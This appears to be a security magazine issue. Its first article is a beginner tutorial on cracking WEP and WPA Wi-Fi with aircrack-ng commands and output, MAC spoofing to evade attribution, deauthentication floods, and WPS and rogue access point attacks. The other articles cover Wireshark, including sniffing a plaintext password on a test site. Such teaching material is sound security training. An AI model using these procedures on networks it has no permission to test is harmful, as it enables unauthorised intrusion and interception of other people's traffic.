WLAN devices based on the IEEE 802.11 standard have a number of vulnerabilities related to the fact that wireless signals are sent over the air rather than through closed wiring paths. In WLANs, network traffic is broadcast into uncontrolled public spaces, which may result in the compromise of sensitive information. Always use the highest security methods of encryption possible and lower AP transmit power. Security is a process, not an instant soup. Discovering one even simple vulnerability could lead to compromise whole network.

MI1

MI1 is a security enthusiast with university degree in the field of informatics currently working for one of Europe's largest IT and Telecommunications service provider. He is the founder of hack4fun.eu where you can reach his thoughts written in English or Slovak language.

a d v e r t i s e m e n t

IT-Securityguard

Lets secure IT

Android Vulnerability Scan

Secure hosting

Web Penetration testing

contact: contact@it-securityguard.com

www.it-securityguard.com

Introduction to

Wireless Hacking Methods

There has been a widespread deployment of wireless systems throughout enterprise corporations, public hotspots, and small businesses. Sometimes, business even like to advertise Wi-Fi availability as a way to provide convenience to clientele, and the clientele is happy to indulge the offer.

This trend has taken place over the last several years, especially as mobile devices become more prolific within the general population. The wireless systems being used in these environments range in sophistication from off the shelf retail Wi-Fi routers to powerful enterprise access points and repeaters.

The rapid increase in the deployment of wireless networks has resulted in the creation of an increased attack surface that can be leveraged for exploitation. For example, think of the number of people that you have observed using a smartphone or tablet in a public space, such as malls, coffee shops, or airports. Most average users are not likely not the most security conscious and mobile applications are already incredibly buggy. If executed properly, most people in this scenario would not notice an attempt to intercept or modify their device traffic.

The rapid evolution of technologies that support 802.11 Wi-Fi protocols, the publicly available details of default hardware configurations, and the inexperience of administrators and users have created a vast invisible threatscape. This ecosystem is ripe for exploitation by those with malicious intent and motive.

Wireless hacking techniques have been around for over a decade. In spite of this, many standard attack methods still work against modern Wi-Fi infrastructure and devices. Attempts at combining security with an “ease of use” for the end user has resulted in the deployment of wireless protocols that are as trivial to to exploit as their ancestors.

The old school Wi-Fi attack methods now have automated counterparts that essentially allows the computer to the think on behalf of the attacker. This article will examine the common vectors leveraged in attacks and how automated tools are utilized to take advantage of vulnerable wireless configurations.

This article is intended for those who have never forayed into the world of wireless hacking, and will assume the reader has a basic understanding of networking principles and Linux comand navigation.

Disclaimer

The information contained in this document is for informational purposes only. This guide is intended to assist information security professionals in strengthening defenses against common forms of wireless attacks.

History of Wireless Hacking in the United States

Wireless hacking was heavily discussed by US mainstream media for the first time during the late 2000’s. An international fraud operation that surrounded a well known underground forum had been shut down by a global international cybercrime task force. The underground forum specialized in the sale of stolen credit cards, data theft

monetization methodologies, and counterfeit identification documents.

The global cybercrime task force was formed to combat digital crimes throughout the United States and Europe. The task force relied on using threat intelligence correlation techniques, multinational jurisdictional cooperation, and criminal informant testimony in order to garner the evidence required to secure indictments and convictions.

The criminal case came together when a series of low profile arrests took place in different parts of the United States that at first seemed unrelated. Arrestees, in multiple locations, were in possession of wireless equipment and laptops. One of the convicted defendants was in process of attempting to dumping data from a retail store when approached and apprehended by law enforcement.

In South Florida, two individuals were arrested on trespassing charges while idling in their vehicle behind a major retail store while using laptops and antennas. The arresting officer documented their wireless equipment with photographs. These photographs was later obtained by federal investigators and used as evidence to correlate indicators of data breaches and related fraud activity.

Tools of the Trade

Although there are many open source and proprietary wireless hacking tools available, these are a few of the tried and true industry standard tools that frequently used on pentesting engagements.

Required Hardware

Alfa Wi-Fi card with Atheros chipset

The Atheros chipset supports packet injection. Any Atheros/RT8187L chipset should work.

Alfa brand Antenna (or similar)

Choose the db for the job. Go as large as you want as long as your card has the power. The type of antenna you would use depends on your location and purpose (omni, directional, parabolic, outdoor weather proof, etc).

Jaseger: Karma on the Fon

This Jaseger firmware can be placed onto Fonera OpenWRT routers for client-side wireless attacks.

Common Wi-Fi Hacking Software

aircrack-ng

This is the ultimate wireless hacking suite that most automated tools are based from. The toolkit contains the three following core functionalities, as well as additional features:

airodump-ng

This tool looks for WEP IVS flags and WPA handshakes for cracking.

aireplay-ng

This tool is used for packet injection, client deauthentication, ARP replay attacks, and more

aircrack-ng

This tool that cracks the collected Wi-Fi data to reveal a password, it works with both WEP and WPA2.

airmon-ng

This tool enables a virtual wireless interface that runs on monitor mode.

BackTrack Live USB / Kali Live ISO

This is the pentesting live ISO has pretty much all the precompiled hacking tools a pentester will ever need. Anything missing is usually just an “apt-get” away.

Kismet

This Linux tool can be used to passively sniff the 802.11 airwaves and create packet captures. This comes precompiled with BackTrack and Kali.

macchanger

This Linux tool will temporarily change the hardware MAC address of your wireless adapter. This making attribution to the attacker difficult, even in the event of a physical apprehension.

How do I crack a WEP password on a wireless router?

WEP is the oldest and most basic form of encryption that is available on most home routers. WEP stands for Wired Equivalent Privacy. When it was created, it’s goal was to be able to mimic the functionality of a wired network while providing a basic level of encryption. It is rumored that WEP is going to be phased out of new routers over the next few years. This is not likely to happen any time soon, as it will pose problems to businesses and individuals that own legacy wireless peripheral hardware require WEP as the only compatible form of encryption available to their devices.

Quickly after its widespread adoption, an array of flaws and vulnerabilities were disclosed with the WEP protocol, and an array of potent attack algorithms were developed to be able to crack WEP within minutes.

One of the most common and simple WEP attacks is the *ARP Replay Attack*. In this type of scenario, the attacker floods the router with a

bombardment of ARP requests that have been captured from the airwaves. These requests trick the router into generating a large amount of junk traffic toward the attacker. The attacker collects the junk responses, as they are most interested in gathering the IV flags which are present at the end of WEP packets. In quantity, these IV flags provide enough algorithmic data to decrypt the WEP passphrase into plaintext.

Once the attacker has collected enough IV flags from the target WEP network (approximately 20,000 or more), the cracking process can begin and will usually take no more than 10 minutes.

WEP Attack Process

The `aircrack-ng` suite makes the attack process simple through the use of command line switches and a very explicit help menus for each tool.

Step 1 – Anonymization

Start off by changing your hardware wireless MAC address in order to get used to the practices of anonymity. Hackers live by it, so should you.

```
[root@localhost ~]# macchanger p4p1 -r
Permanent MAC:
Current MAC:   e4:e7:20:51:fe:a0 (unknown)
Faked MAC:     9c:ea:ca:04:f3:9a (unknown)
```

Figure 1. *Change Wireless Interface MAC Address on Linux*

```
[root@localhost ~]# airmon-ng start wlan1


Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
927     NetworkManager
931     avahi-daemon
935     avahi-daemon
16463   wpa_supplicant
16811   dhclient


Interface       Chipset         Driver

wlan1           Atheros AR9271  ath9k - [phy1]
                                (monitor mode enabled on mon0
wlan0           Intel 1030      iwlwifi - [phy0]

[root@localhost ~]#
```

Figure 2. *Monitor Mode Enabled – mon0 created – Be Sure to Run Macchanger on this too*

```
CH  1 ][ Elapsed: 24 s ][ 2013-04-23 07:39 ][ fixed channel mon0: -1

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

B8:E6:25:E6:1A:11  -1   0        0        0    0 108  -1                    <length:  0>
20:4E:7F:46:36:F2  -39  89      253        0    0   1  54 . WEP  WEP         n3tw0rk
00:21:00:F5:4E:9F  -93  28       63        6    0   1  54   WEP  WEP         denverpilot

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

B8:E6:25:E6:1A:11  20:C9:D0:67:89:8C  -86    0 - 1      0       282  SchneideyWireless
(not associated)   3C:43:8E:6D:F5:1C  -82    0 - 1      0         1
(not associated)   00:23:15:B3:35:A0  -84    0 - 1      0         3  Hector
(not associated)   00:22:58:18:ED:80  -89    0 - 1      0        12  Calalily
(not associated)   D8:B3:77:76:95:BB  -92    0 - 1     30         4
00:21:00:F5:4E:9F  68:7F:74:5C:47:A1  -85    0 - 1      2         7
```

Figure 3. *Airodump in Action*

Make sure to run this process as root, otherwise you will experience difficulty. For an explanation of the syntax detail, use the `--help` flag.

Syntax:

```
[~]# ifconfig wlan0 down
[~]# macchanger eth0 -r
```

Result

Figure 1.

Step 2 – Enable Monitor Mode

Once the wireless adapter is connected, there will most likely have a new interface called wlan0 or something similar. You need to use the `airmon-ng` utility to enable monitor mode on the device so that it can properly sniff and inject as directed. The `airmon-ng` tool creates a virtual Wi-Fi interface that supports packet injection. Enter the syntax in Figure 2 with your interface you should enable the monitor mode appear. Be sure to run the *macchanger* tool on the new virtual interface as well.

Syntax

```
[#] airmon-ng start wlan1
```

Step 3 – Collecting Dumped Traffic with airodump-ng

So far you have anonymized your wireless interface MAC address, and enabled monitor mode on your wireless card in order to support packet injection, and changed the MAC address again on that new virtual device.

You are now ready to start grabbing traffic from the airwaves to gather enough encrypted WEP IVS flags to cracking the password.

Use `airodump-ng` to collect the packets for your desired target network.

Since we are going to crack WEP in this exercise, we are only interested in the IV flags, as that is where the most useful cryptographic data is located for decryption of WEP. For an explanation of the syntax detail, use the `airodump --help` command (Listing 2).

Syntax

```
# airodump-ng mon0 --encrypt WEP -c 1 --ivs -w
                    network_test.ivs
```

The image indicates that on Channel 1, there are 2 networks protected by WEP. Our target is SSID to crack `n3tw0rk` (Figure 3).

Step 4 – Fake Association

Next, we will open a *second terminal window* and make use of the `aireplay-ng` tool.

The purpose of this attack is to trick the target router into believing you are a attempting to become a client device by sending an Authentication packet to the target router. If the router responds favorably, an attacker can bombard the router with fake authentication requests and receive fake acknowledgements in rapid succession. When this happens, the wireless router with no legitimate traffic is more likely to generate the ARP request necessary to begin the next phase of attack.

This technique is valuable when an attacker is trying to break into an office network at night, and there is no employees on the network in which to intercept ARP requests. To become familiar with all features of this tool, use the `aireplay-ng --help` command. Continue to let the associations run, and open up another terminal window Figure 4.

```
# aireplay-ng mon0 --fakeauth 10 -a
20:4E:7F:46:36:F2 -h 00:12:34:56:78:90
```

Step 5 – ARP Replay Attack

Now that the wireless router is successfully acknowledging your fake association requests, we can begin to sniff for an ARP packet to send back at the router.

Once the router receives the ARP packet, it will reply with more and more packets. ARP packets are valuable because they have the IV flag needed for cracking the password. Use the `aireplay-ng --help` command to explore the additional features of this tool (Figure 5).

```
# aireplay-ng mon0 --arpreplay -b
20:43:7F:46:36:F2 -h 00:12:34:56:78:90
```

Switch back to the terminal window running `airodump-ng` to observe the incoming packet flood (Figure 6).

After approximately 20,000 packets are collected, the network_test.ivs file is ready to be fed into `aircrack-ng`.

Step 6 – Let's get cracking some WEP!

Use the following `aircrack-ng` syntax to extract the plaintext key from the captured ivs file. Examine the `aircrack-ng --help` options to learn about the various types of attack methods and options.

Syntax

```
# aircrack-ng -a 1 [capture filename]
```

How do I crack WPA passwords on wireless routers?

While WEP passwords can have the plaintext keys extracted by harvesting enough data, WPA passwords can only be cracked through offline brute-force password guessing techniques.

WPA Password Attack Process

Once again, the `aircrack-ng` suite makes the WPA attack process simple through the use existing tools and methodologies. The goal is to capture the four-way handshake that takes place between the client device and the router.

In practice, the attacker will blast the airwaves with deauthentication packets, dropping any connections from local devices within range. When the disconnected devices attempt to establish a connection to the access point, the attacker is able to capture the encrypted handshake.

Once the attacker has this file, an offline brute force attack can take place at their leisure. The `aircrack-ng` tool can be used for this attack. GPU can be utilized instead of CPU to speed the process along, as there is a significant difference between the amount of processing power required to crack a WPA password a WEP password.

```
[root@localhost ~]# aireplay-ng mon0 --fakeauth 10 -a 20:4E:7F:46:36:F2 -h 00:12:34:56:78:90 --ignore-negative-one
The interface MAC (                    doesn't match the specified MAC (-h).
        ifconfig mon0 hw ether 00:12:34:56:78:90
08:06:46  Waiting for beacon frame (BSSID: 20:4E:7F:46:36:F2) on channel -1

08:06:46  Sending Authentication Request (Open System) [ACK]
08:06:46  Authentication successful
08:06:46  Sending Association Request [ACK]
08:06:46  Association successful :-) (AID: 1)
```

Figure 4. *The Router is Successfully Associating with the Client Device*

```
4440574 packets (got 1359311 ARP requests and 1173568 ACKs), sent 1806001 packets...(499 pps)
@localhost ~]#
```

Figure 5. *aireplay-ng blasting ARP packets at the router*

Advanced attackers are making use precomputed rainbow tables to speed up this process. The widespread availability of sets precomputed rainbow tables has allowed attackers to crack WPA networks that have common SSIDs. More information about rainbow tables can be found in the References section of this article.

The below steps will lead to the eventual cracking of a WPA password

Step 1 – Dump on wireless traffic with airodump-ng

Use the following `airodump-ng` syntax to sniff the airwaves to grab a handshake. Be sure to make use of the `airodump-ng --help` command for reference (Listing 6).

```
# airodump-ng mon0 -c 1 --encrypt WPA -w output
```

Step 2 – Send blasts of deauthentication packets with aireplay-ng

Use the `aireplay-ng` tool to conduct deauthenticate any clients in the surrounding area. Check out `aireplay-ng --help` for additional features and methods (Figure 8).

```
# aireplay-ng mon0 --deauth 25  -c [target mac
                    address] -a [source mac address]
```

Step 3 – Grab 'Wireless Handshakes' as deauthenticated clients reconnect

After several minutes of sniffing and bursts of deauthentication packets, you should be able to have captured a handshake. The `airodump-ng` tool will confirm it with it finds one, and `aircrack-ng` will also identify valid handshakes.

Figure 6. *Airodump-ng with an Incoming Flood of WEP Cracking Traffic*

Figure 7. *Syntax to Start Cracking WEP from a File*

Step 4 – Let's get cracking! Use aircrack-ng to bruteforce the handshake

```
# aircrack-ng -a 2 -w passwords.txt filecapture.cap
```

More secure can be less secure: WPS Cracking

In response to the common attacks available for WEP and WPA, the wireless industry came up with the concept of the Wi-Fi Protected Setup (WPS) security protocol. This encryption scheme is as good as WPA2, and allows for the use of a PIN number for authentication to the wireless network.

Because this protocol is allows the use of numeric PINs, it is also vulnerable to online brute force attacks. With a decent computer, a determined attacker could brute force the PIN number to the network within several hours.

The `reaver-wps` software one of the more popular tools for exploting this kind of attack.

Client Side Attacks – Attacks on the Enterprise

Even though wireless networks contain those known vulnerabilities that are still commonly found today, a modern enterprise with an adept security team will most likely have the most basic WEP/WPA/WPS type of attacks disabled. However this leaves the client side vector open for attack, especially with a proliferation of Bring Your Own Device (BYOD) policies being implemented within corporate environments.

Figure 8. *Syntax for Sending Deauth Bursts with Aireplay-ng*

Figure 9. *Aircrack-ng Using CPU to Brute Force a Password with a Wordlist*

The *Jaseger on the Fon* firmware suite is a free suite of wireless interception tools that can be flashed onto any OpenWRT router. The device will broadcast itself as any SSID being requested by local devices, forcing authentication through a race condition. Once a device has connected to the Jaseger enhanced router, their traffic can be viewed and/or altered.

Furthermore, it is possible to launch client side browser attacks against client devices in an attempt to execute remote code, but that topic is for another article.

More information on this *Jaseger* project is available in the References section.

Wireless Attack Automation

The manual processes detailed in this article have been scripted, automated, and in some cases given GUIs. The following two software packages make use of the aircrack-ng suite and other Wi-Fi cracking tools in order to streamline the wireless attack process into a quicker and more efficient process.

Gerix Wi-Fi Cracker

This Linux tool is a great Python GUI wireless hacking front end for aircrack-ng. If the user understands the attack process, they can point and click their way to cracked passwords. This tool comes precompiled with BackTrack and Kali.

Wi-Fite v2

This is Automated wireless hacking python script makes use of all possible cracking methods by fingerprinting the surrounding wireless networks and attacks them all, starting with the lowest hanging fruit.

Detection and Mitigation

Since a wireless attacks such as WEP are noisy, it is possible to use a wireless IDS system to detect, alert, or log anomalous activity as it relates to the wireless infrastructure. Examine the logs of use of the log files on your existing router and look for any strange brute force attempts, floods of ARP requests or unauthorized DHCP leases.

Conclusion

Wireless attacks are going to continue to evolve in the direction of automated exploitation. For the malicious attacker, it saves time and allows for more target hunting. For the security auditor, it saves time and resources for additional in the enterprise assessments.

Attackers and pen-testers are no longer required to juggle multiple terminal windows that contain simple command line interfaces that were built off memorized command switches. However, an understanding of these concepts is highly beneficial while conducting assessments.

Wireless hacking could be considered akin to lockpicking, as simply having the tools will not guarantee success unless one is familiar with the details of the techniques in which they are used.

Resources

- Aircrack-NG – *http://www.aircrack-ng.org*
- Kismet – *http://www.kismetwireless.com*
- Gerix Wi-Fi Cracker – *https://github.com/TigerSecurity/gerix-wifi-cracker*
- Jaseger: Karma on the Fon – *http://www.digininja.org/jasager/*
- WifiteV2 – *https://code.google.com/p/wifite/*
- WPA2 Cracking Rainbow Tables – *http://www.renderlab.net/projects/WPA-tables/*
- reaver-wps – *https://code.google.com/p/reaver-wps/*

OSINT References

- Michigan Wi-Fi Hacker Arrested at Lowes – *http://www.securityfocus.com/news/8835*
- The Great CyberHeist – NYTimes – *http://www.nytimes.com/2010/11/14/magazine/14Hacker-t.html?pagewanted=all*

ALEXANDER HEID

Alexander Heid is Co-founder and President of HackMiami in South Florida, and the former Chair of South Florida OWASP. Heid is senior threat researcher for the emergency response team of an international network security services provider. Previously, Heid worked as a web application analyst at a Fortune 10 financial institution. His specialties include digital crime intelligence analysis, application security auditing, network vulnerability analysis, penetration testing, and malware reversal. Much of the research Heid has participated in has been featured at national industry conferences and global mainstream media. Visit www.hackmiami.org for more information about HackMiami and follow @hackmiami on Twitter.

Wireshark

Not Just A Network Administration Tool

Wireshark, a powerful network analysis tool formerly known as Ethereal, captures packets in real time and displays them in human-readable format.

Wireshark was developed by Gerald Combs and is free and open-source. It is used for network troubleshooting, analysis, software and communications protocol development, and education and in certain other ways in hands of a penetration tester as we will learn further in this article. Wireshark is platform independent, and runs on Linux, Mac OS X, BSD, and Solaris, and on Microsoft Windows. There is also a Command Line version called Tshark for those of us who prefer to type.

Where to get Wireshark?

You can download Wireshark for Windows or Mac OS X from its official website. If you're using Linux or another UNIX-like system, you'll probably find Wireshark in its package repositories. For example, if you're using Ubuntu, you'll find Wireshark in the Ubuntu Software Center.

Features of Wireshark

- Distributed under GNU Public License (GPL)
- Can capture live data from a number of types of network, including Ethernet, IEEE 802.11, PPP, and loopback.
- Wireshark can also read from a captured file. See here for the list of capture formats Wireshark understands.
- Supports tcpdump capture filters.
- Captured network data can be browsed via a GUI, or via the terminal (command line) version of the utility, TShark.
- Captured files can be programmatically edited or converted via command-line switches to the "editcap" program.
- Data display can be refined using a display filter.
- Plug-ins can be created for dissecting new protocols.
- VoIP calls in the captured traffic can be detected. If encoded in a compatible encoding, the media flow can even be played.
- Raw USB traffic can be captured.
- Wireshark can automatically determine the type of file it is reading and can uncompress gzip files

Figure 1. *Packet Capture*

Figure 2. *Packet Capture*

Figure 3. *Packet Capture*

Wireshark Command Line Tools

- tshark – similar to tcpdump, uses dumpcap as packet capture engine.
- dumpcap – network traffic dump tool, capture file format is libpcap format.
- capinfos – command-line utility to print information about binary capture files.
- editcap – remove packets from capture files, convert capture files from one format to another, as well as to print information about capture files.
- mergecap – combines multiple saved capture files into a single output file.
- rawshark – dump and analyse network traffic.

Let us get started – Capturing Packets with Wireshark

After downloading and installing Wireshark, you can launch it and click the name of an interface under Interface List to start capturing packets on that interface (Figure 1).

Or you can go to the menu bar and click on Capture > Interfaces and select the interface on which you want to capture the traffic (Figure 2).

Here we click on the Vmware network adaptor and start capturing the packets (Figure 3).

Let us try some basic packet capture. Let us browse to *www.google.com* and see the traffic generated.

The local computer 192.168.239.129 queries the DNS server 192.168.239.2 to find out who is google.com. The DNS query response by 192.168.239.2 is displayed which gives the IP addresses of multiple google web servers. This is followed by the three way TCP handshake (SYN, SYN-ACK, ACK) with one of the google web server on 74.125.236.183 as shown Figure 4.

The HTTP traffic which commences post TCP handshake commences with a GET request as shown. Here we can use another feature of Wireshark to follow this particular HTTP traffic. For this, we right click on the GET request and select *Follow TCP Stream* (Figure 5).

Figure 4. *Google Browsing Traffic*

Figure 6. *HTTP Traffic Stream*

Figure 5. *Follow TCP Stream*

Figure 7. *DNS Authoritative Flag*

We can view the entire HTTP transaction in a new window (Figure 6).

Separating out Network Traffic of our interest – Use of Display Filters

Wireshark provides an interesting feature of filtering the network traffic using display filters. Let us look at some of these filters and how we can mix and match them to get down to an item of our interest.

The most basic way to apply a filter is by typing it into the filter box at the top of the window and clicking Apply (or pressing Enter). For example, type "dns" and you'll see only DNS packets. When you start typing, Wireshark will help you auto complete your filter. Another way to achieve the same result is to go to the *Analyse* tab in the main menu bar and select display filter.

Let us say we want to check out all DNS packets which are from Authoritative DNS Servers. After tying DNS, we can scroll down the drop down list and select *dns.flags.authoritative* (Figure 7).

Figure 8. *HTTP GET*

Figure 9. *Sniff Password*

The selected DNS packet shows that the DNS server is not an authoritative server for the requested domain as the Authoritative Flag is not set.

Playing Around with Filters Using Operators

Some basic operators we can use with display filters are as shown.

- Equal: eq, = =
- Not Equal: ne, ! =
- Greater than: gt, >
- Less Than: lt, <
- Greater than or equal to: ge, > =
- Less than or equal to: le, < =

Example

Say we want to see all HTTP GET requests in the captured traffic. We can type *http.request.method = = "GET"* into the Display Filter box and get all the GET requests made by the user (Figure 8).

Over with Basics, Time to Have Some fun now..

Let us now see if we can sniff unencrypted passwords. So, I need to find an insecure website which uses http for sending login credentials instead of https. Unfortunately, this fun is almost over now as most of the websites have shifted to https. This is a test website for checking web application vulnerabilities (*http://demo.testfire.net*) (Figure 9).

So, let us use the filter feature in Wireshark to just only filter the HTTP POST method. Type – http:.request.method == "POST" into the display filter box and let us see what we get. Twp packets with HTTP PST request are filtered out, we select the packet of our interest and view packet details in the lowermost window. I think we just got lucky here.. (Figure 10).

Figure 10. *Sniff Password*

How can Wireshark Help me in Network Security?

Wireshark can give a network administrator a very good idea of what is happening on his network. Although not an Intrusion detection tool, it can easily help in checking some security policy violations.

Identifying Bittorent Downloads

The protocol used for peer to peer transfers is the giveaway here. We can view only the BitTorrent packets by typing *bittorrent* in the filter box. You can do the same for other types of peer-to-peer traffic that may be present, such as Gnutella, eDonkey, or Soulseek (Figure 11).

We can also view the network usage based upon protocol by going to Statistics tab on Menu bar and selecting Protocol hierarchy.

Here we see that the bittorrent traffic is occupying almost 70 % of overall network traffic. So much for downloading movies at the wrong time and place (Figure 12).

Figure 11. *Identify Bittorrent*

Figure 12. *Bittorent Stats*

Identifying Facebook Usage

Can't live with or without it? Well, your network admin may be watching if your organisation does not allow it.

Sites like Facebook often use several servers to provide content to users. We can't just filter one ip address and be done with it. It can involve many different addresses, and usually changes per user. The simplest way to set a filter for Facebook users is to use the "tcp contains facebook" filter (Figure 13).

So once, we are done with the so called bad guys on the inside of our network, let us watch out for the bad guys outside the network. Well, having said that these attacks can be better done from inside the network bypassing all our perimeter security and taking advantage of the trust placed by the organisation on its employees.

Identifying Port Scans

Let us now see how a TCP SYN scan would appear on Wireshark interface.

Figure 13. *Facebook*

Figure 14. *SYNscan*

TCP SYN scan is also known as half open scan because a full TCP connection is never established. It is used to determine which ports are open and listening on target device.

We can see that the attacker IP 192.168.239.130 is ending packets to victim IP 192.168.239.129 with the SYN Flag set (Figure 14).

The victim IP responds with a RST ACK packet. This indicates that the port is closed.

In case if SYN /ACK is received, it indicates that the port is open and listening

X-Mas Scan

The X-Mas scan determines which ports are open by sending packets with invalid flag settings to target device. This scan is considered stealthier then SYN scan as it may be able to bypass some firewalls and IDSes more easily.

The attacker send TCP packets with FIN, URG and PSH flags set and gets RST ACK reply back. This indicates that the port is closed. An open port will simply drop the packet and not respond.

X-Mas scan would appear like this on Wireshark (Figure 15).

Identifying Malware Infection

So someone has already clicked, despite all the security training, presentations, workshops, etc, etc. In fact, we are slowly reconciling to the fact that no matter what you do, the user will always fall to the ever tricky ways of attacker and this should be the basis of our risk assessment. If we can save our networks and data even after a machine has got compromised, we have a chance to survive in this world of zero days.

Wireshark can help us in identifying malware infections on our network. Most of the modern malware operate in a client server mode and allows the attacker to have full remote control of the target machine.

Let us consider a case scenario wherein an employee indulges in indiscreet surfing on internet. As is likely, the malicious websites visited by the employee would try to download malicious code

Figure 15. *XmasScan*

Figure 17. *Jssaveas*

Figure 16. *Export Objects*

Figure 18. *Jsdetection*

WIRESHARK

on the employee computer (you can find nothing for free in life and certainly not on internet). If we have a packet capture of the network traffic, it can be analysed by using Wireshark. Let us see how it happens. For this, we go the File menu and select *Export Objects > HTTP* (Figure 16).

Wireshark provides us with a list of all HTTP objects downloaded on the employee machine. Here we select a file "*javascript.js*" and save it to a desired location on the local computer (Figure 17).

Our suspicion about this file is confirmed as the antivirus alert pops up immediately on our desktop indicating that the file is malicious (Figure 18).

So, now we are level zero of Wireshark proficiency. To dig deeper (and I'm sure it is worth it), we have the option of attending free live training webinars by Laura Chappell, or go through her Wireshark Network Analysis guide and get ourselves certified as Wireshark Certified Network Analyst.

ARUN CHAUCHAN
Joint Director CIRT Navy at Indian Navy

a d v e r t i s e m e n t

Connect with

knóldus

knols . commitment . results

Experts in Agile SCALA Development

Scala product development
Scala web application development
Scala application re-engineering
Scala on the cloud
Scala for high performance systems
Scala on mobile
Scala team training
Scala coaching & consulting

www.knoldus.com - sales@knoldus.com - 859-648-0301

Wireshark – Sharks on the Wire

Capturing and analyzing network data is one of the core skills every IT professional should posses. If you have problems with your system or application, suspect a security issue, in almost every case the network is involved today. Wireshark is the right tool to help you finding network related problems and analyze them.

Wireshark can be used for different tasks: Troubleshooting network problems, security analysis, optimization, and application analysis. Network data analysis can is a huge field and can be confusing if you are not so familiar with it.

History

Before we begin with the Wireshark itself, we should have a look into the history of packet tracing. Programs for network tracing are known since the late 1980's. At that time mainly commercial analyzers were unavailable, the most famous being at this time was the program *Sniffer*, developed by Network General. You may have noticed that the process, is sometimes called *sniffing*, this term goes back to this program. On Unix machines the program *tcpdump* has been developed by Van Jacobsen, Leers and MacCanne in the late 1980s, this program and the library *libpcap* can be seen as the grand fathers of Wireshark. In the early 1990s there were a lot of commercial packet analyzers available, most of them was expensive and built in hardware. This changed at the end of the 1990s with the development of "Ethereal" by Gerald Combs, this program was build on top of *libpcap* and the *GIMP Tool Kit* (GTK) library, this brought a free analyzer to many different operating systems. In 2006 Gerald Combs changed employment to *CASE Technologies* and new project was started on the code base from *Ethereal.* The program since than is called *Wireshark*. Wireshark is available on many different platforms, for example Microsoft Windows, Linux/Unix and OSX, it can now be seen as the standard application for network analysis.

TCP/IP Basics

Wireshark can deal with a many protocols families. To name some there are AppleTalk, wireless protocols like *Wlan, WiMax* and the famous *TCP/IP*. We should have a look on TCP/IP protocol suite because it is the most frequently used protocol today.

The protocol was developed by the *Defense Advanced Research Projects Agency* (DARPA) in the 1970s, its roots go back to the ARPANET (*Advanced Research Projects Agency Network*).

TCP/IP provides end-to-end connectivity, specify how data should be formatted, addressed, transported and routed.

The suite is divided into four layers, each with its own set of protocols, from the lowest to the highest:

The physical layer defines wiring, electrics and low level protocols to access the media and address nodes on the same medium. As an example can be seen: Ethernet, Wireless, DSL (*Digital Subscriber Line*), PPP (*Point to Point Protocol*) and others. The addresses used on this layer are called MAC Address.

The *internet layer* (IP) is for addressing the nodes: each node becomes a global unique address. The addressing can be IPv4 or IPv6. IPv4 addresses are usually written as dotted decimal numbers, for example, 192.168.0.1. The protocol has an address space of 32bit = 2^{32} = 4.294.967.296 and this space cannot give every device on the plant

an address. To overcome this, there is a technique called *Network Address Translation* (NAT).

To address this issue in 1998, the Internet engineering task force (IETF) has released a new protocol standard to solve this problem. This protocol standard is called IPv6 and brings many improvements over IPv4, such as: a bigger address space, encryption support (ipsec), and has been redesigned so that new feature can be easily implemented. The Addresses are now 128 bit long and will provide $3.403 \times 10^{38} = 2^{128}$ unique addresses.

Routing is used when addresses are not local in your network. Most systems have a default route to a router, which can forward these packets. There is no magic in it, any system knows its own IP address and the network mask, for example, the address is 192.168.0.100, and the network mask is 255.255.255.0. Netmask can also be written in another format, CIDR (Classless Inter-Domain Routing). Here netmask will be written /24, which means that the first 24 bits from the address are the network and the remaining bits are the node. With this notation, it is obvious that the host 10.0.0.1 is not on the same network and that the packets need to be send to the router.

The transport layer defines how data will be transported. *Transmission Control Protocol* (TCP) is used for reliable transport of the data, like file transfer or email. On the other hand, there is *User Datagram Protocol* (UDP), with which the data sent is unreliable, and is used for time critical applications like VoIP (Voice over IP). These applications have the need of continuous arrival of packets and the information stored in a single packet is not so important.

The Application Layer defines how the data is encoded, for example, HTTP (Hyper Text Transfer Protocol), SMTP (*Simple Mail Transfer Protocol*), SIP (Session Initiator Protocol – VoIP Call Control Protocol). In the Table 1 you will find an overview of the TCP/IP suite.

Table 1. *TCP/IP Layers*

OSI Layer	TCP/IP Layer	Example
Application (7)	Application	HTTP, SMTP, POP, SIP
Presentation (6)		
Session (5)		
Transport (4)	Transport	TCP, UDP, SCTP
Network (3)	Internet	IP (IPv4,IPv6)
Data Link (2)	Link	Ethernet, Wireless, DSL
Physical (1)		

When you are not so familiar with the tcp/ip you can use Wireshark to expand your knowledge. For example, you can trace the packets when opening the URL *http://www.wireshark.org* in a web browser and see what happens. You will see that the name is translated with DNS (*Domain Name Service) to an IP address and then, a TCP session to the address is opened*.

Note: Please be aware when firewalls or WAN optimizers are installed in the path, they can alter TCP/IP behavior and packet contents.

Listing 1. *Command line usage*

```
[~]# tshark -D
1. eth0
2. eth1
3. any (Pseudo-device that captures on all interfaces)
4. lo
[~]# tshark -i eth0
Capturing on eth0
 1.121921  10.0.12.10 -> 174.137.42.75 ICMP 98 Echo (ping) request id=0x03f9, seq=1/256, ttl=64
 1.307740 174.137.42.75 -> 10.0.12.10  ICMP 98 Echo (ping) reply  id=0x03f9, seq=1/256, ttl=51
 2.122759  10.0.12.10 -> 174.137.42.75 ICMP 98 Echo (ping) request id=0x03f9, seq=2/512, ttl=64
 2.305570 174.137.42.75 -> 10.0.12.10  ICMP 98 Echo (ping) reply  id=0x03f9, seq=2/512, ttl=51
 3.123583  10.0.12.10 -> 174.137.42.75 ICMP 98 Echo (ping) request id=0x03f9, seq=3/768, ttl=64
 3.307118 174.137.42.75 -> 10.0.12.10  ICMP 98 Echo (ping) reply  id=0x03f9, seq=3/768, ttl=51
6 packets captured
[~]#
```

Getting started with captures

Getting started with data capture with Wireshark is pretty easy. The program installs all the necessary components for capturing data. Wireshark comes with an easy-to-use interface, many analysis features and tools. When you start Wireshark, you will see the main window. Here you can select the interface which should be used for data capture. During the capture, you will see a live packet list and an analysis (Figure 1). What we see during a sample capture is that there was a ping to *www.wireshark.org* and the answers. It is also possible to use Wireshark from the command line (Listing 1). First, we looked up the available interfaces with `tshark -D` and than, we started a capture on `tshark -i wwan0`, in (Table 2) you can see some of the common command line options.

